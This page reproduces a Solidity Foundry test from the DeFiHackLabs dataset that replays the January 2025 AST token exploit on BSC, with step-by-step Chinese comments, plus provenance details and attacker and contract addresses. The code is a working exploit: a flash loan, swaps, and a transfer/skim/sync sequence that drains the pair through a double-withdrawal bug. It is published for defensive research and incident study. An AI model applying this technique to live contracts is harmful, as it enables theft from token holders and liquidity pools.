Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/Ast_exp.sol

Public reproduction file for dataset entry Ast.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/Ast_exp.sol110 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7
8// @KeyInfo - Total Lost : 65K US$
9// Attacker : 0x56f77AdC522BFfebB3AF0669564122933AB5EA4f
10// Attack Contract : 0xaaE196b6E3f3Ee34405e857e7bfb05D74c5cf775
11// Vulnerable Contract : 0xc10E0319337c7F83342424Df72e73a70A29579B2
12// Attack Tx : https://bscscan.com/tx/0x80dd9362d211722b578af72d551f0a68e0dc1b1e077805353970b2f65e793927
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xc10e0319337c7f83342424df72e73a70a29579b2#code
17// @Analysis
18// solidityscan: https://blog.solidityscan.com/ast-token-hack-analysis-7a2f0400436a
19// medium.com: https://medium.com/@joichiro.sai/ast-token-hack-how-a-faulty-transfer-logic-led-to-a-65k-exploit-da75aed59a43
22// 需要在foundry.toml中设置 evm_version = 'shanghai'
25contract ContractTest is Test {
26 // AST接口
27 address constant ast = 0xc10E0319337c7F83342424Df72e73a70A29579B2;
28 // BUSD地址
29 address constant busd = 0x55d398326f99059fF775485246999027B3197955;
30 // WBNB地址
31 address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
32 // ERC1967Proxy地址
33 address constant proxy = 0xc8B9817eB65B7d7e85325f23A60D5839d14F9Ce4;
34 // pancake BUSD/AST pair
35 IPancakePair BUSD_AST_LPPool = IPancakePair(0x5ffEc8523A42BE78B1Ad1244fA526f14B64bA47a);
36 // pancakeV3Pool接口
37 IPancakeV3Pool PancakePool = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
38 // pancackeRouter接口
39 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
40 // 需要借款的BUSD数量
41 uint256 constant busd_amount = 30_000_000 * 1e18;
42 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
44 function setUp() public {
45 // 攻击发生的上一个区块
46 vm.createSelectFork("bsc", 45_964_639);
47 vm.label(busd, "BUSD");
48 vm.label(ast, "AST");
49 vm.label(address(BUSD_AST_LPPool), "BUSD_AST_LPPool");
50 vm.label(address(PancakePool), "PancakePool");
51 vm.label(address(pancakeRouter), "pancakeRouter");
52 vm.label(address(proxy), "ERC1967Proxy");
53 // 准备一点busd和ast,用于添加流动性
54 deal(busd, address(this), 1 * 1e18);
55 deal(ast, address(this), 7 * 1e18);
56 }
58 function testExploit() public {
59 emit log_named_decimal_uint("[Start] Attacker BUSD balance before flash", IERC20(busd).balanceOf(address(this)), 18);
60 address recipient = address(this);
61 uint256 amount1 = 0;
62 bytes memory data = abi.encode(busd_amount);
63 // 调用闪电贷,贷款3000万个BUSD
64 PancakePool.flash(recipient, busd_amount, amount1, data);
65 emit log_named_decimal_uint("[Info] Attacker BUSD balance after exploit", IERC20(busd).balanceOf(address(this)), 18);
66 }
68 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {
69 emit log_named_decimal_uint("[Info] Attacker BUSD balance after flash", IERC20(busd).balanceOf(address(this)), 18);
70 // 授权给pancakeRouter
71 IERC20(busd).approve(address(pancakeRouter), type(uint256).max);
72 IERC20(ast).approve(address(pancakeRouter), type(uint256).max);
73 BUSD_AST_LPPool.approve(address(pancakeRouter), type(uint256).max);
74 // 调用pancakeRouter把BUSD换成AST
75 address[] memory path1 = new address[](2);
76 path1[0] = busd;
77 path1[1] = ast;
79 // swap所有3000万个BUSD为AST,目标是proxy
80 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
81 busd_amount, 0, path1, proxy, block.timestamp
82 );
83 // 计算流动性池中的ast amount,使用LP中的Ast数量减1
84 uint256 lpAstAmount = IERC20(ast).balanceOf(address(BUSD_AST_LPPool)) - 1;
86 // 添加流动性,此处不能使用addLiquidity方法添加流动性,因为资产比例限制无法添加足额的AST
87 IERC20(busd).transfer(address(BUSD_AST_LPPool), 1 * 1e18);
88 IERC20(ast).transfer(address(BUSD_AST_LPPool), lpAstAmount);
90 // 使用skim把多余代币提取到攻击合约中,也就是撤出上一步添加的流动性
91 // 这里会触发合约的bug,LP中剩余AST数量为6688350004594453501,上一步添加了6688350004594453500
92 // 由于合约BUG在撤出流动性时会撤出两次, 也就是 6688350004594453501 + 6688350004594453500 - 6688350004594453500 - 6688350004594453500 = 1
93 BUSD_AST_LPPool.skim(address(this));
94 BUSD_AST_LPPool.sync();
95 emit log_named_decimal_uint("[Info] LP BUSD balance after skim", IERC20(busd).balanceOf(address(BUSD_AST_LPPool)), 18);
96 emit log_named_decimal_uint("[Info] LP AST balance after skim", IERC20(ast).balanceOf(address(BUSD_AST_LPPool)), 18);
97 // swap攻击合约中所有的AST
98 address[] memory path2 = new address[](2);
99 path2[0] = ast;
100 path2[1] = busd;
101 uint256 astAmount = IERC20(ast).balanceOf((address(this)));
102 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
103 astAmount, 0, path2, address(this), block.timestamp
104 );
105 // 解码data查看借贷总量,也可以像上边一样写死,这样就不需要依赖于data
106 (uint256 amount) = abi.decode(data, (uint256));
107 // 还款给pancake,并加上费用
108 IERC20(busd).transfer(msg.sender, amount + fee0);
109 }

Analysis

Dataset entry

Public Foundry test for “Ast” (2025-01-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x56f77adc522bffebb3af0669564122933ab5ea4f

  • Attack Contract

    0xaae196b6e3f3ee34405e857e7bfb05d74c5cf775

  • Vulnerable Contract

    0xc10e0319337c7f83342424df72e73a70a29579b2

  • Attack Tx

    0x80dd9362d211722b578af72d551f0a68e0dc1b1e077805353970b2f65e793927

File record

Name
Ast
Path
src/test/2025-01/Ast_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e079b891febd96cb99d63c2c8f6f80b84fa932bb
Language
Solidity
Size
111 lines
Date
2025-01-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/Ast_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e079b891febd96cb99d63c2c8f6f80b84fa932bb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.